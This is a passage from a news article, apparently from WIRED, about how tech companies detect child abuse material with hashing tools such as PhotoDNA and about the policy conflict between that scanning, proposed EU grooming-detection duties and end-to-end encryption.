At the moment, tech companies find CSAM online in different ways. And the amount of CSAM found is increasing as tech companies get better at detecting and reporting abuse—although some are much better than others. In some cases, AI is being used to hunt down previously unseen CSAM. Duplicates of existing abuse photos and videos can be detected using “hashing systems,” where abuse content is assigned a fingerprint that can be spotted when it’s uploaded to the web again. More than 200 companies, from Google to Apple, use Microsoft's PhotoDNA hashing system to scan millions of files shared online. However, to do this, systems need to have access to the messages and files people are sending, which is not possible when end-to-end encryption is in place.

“In addition to detecting CSAM, obligations will exist to detect the solicitation of children (‘grooming’), which can only mean that conversations will need to be read 24/7,” says Diego Naranjo, head of policy at the civil liberties group European Digital Rights. “This is a disaster for confidentiality of communications. Companies will be asked (via detection orders) or incentivized (via risk mitigation measures) to offer less secure services for everyone if they want to comply with these obligations.”

Discussions about protecting children online and how this can be done with end-to-end encryption are hugely complex, technical, and combined with the horrors of the crimes against vulnerable young people. Research from Unicef, the UN’s children’s fund, published in 2020 says encryption is needed to protect people’s privacy—including children—but adds that it “impedes” efforts to remove content and identify the people sharing it. For years, law enforcement agencies around the world have pushed to create ways to bypass or weaken encryption. “I’m not saying privacy at any cost, and I think we can all agree child abuse is abhorrent,” Woodward says, “but there needs to be a proper, public, dispassionate debate about whether the risks of what might emerge are worth the true effectiveness in fighting child abuse.”

Increasingly, researchers and tech companies have been focusing on safety tools that can exist alongside end-to-encryption. Proposals include using metadata from encrypted messages—the who, how, what, and why of messages, not their content—to analyze people’s behavior and potentially spot criminality. One recent report by the nonprofit Business for Social Responsibility, which was commissioned by Meta, found that end-to-end encryption is an overwhelmingly positive force for upholding people's human rights. It suggested 45 recommendations for how encryption and safety can go together and not involve access to people’s communications. When the report was published in April, Lindsey Andersen, BSR's associate director for human rights, told WIRED: “Contrary to popular belief, there actually is a lot that can be done even without access to messages.”

Tag

#google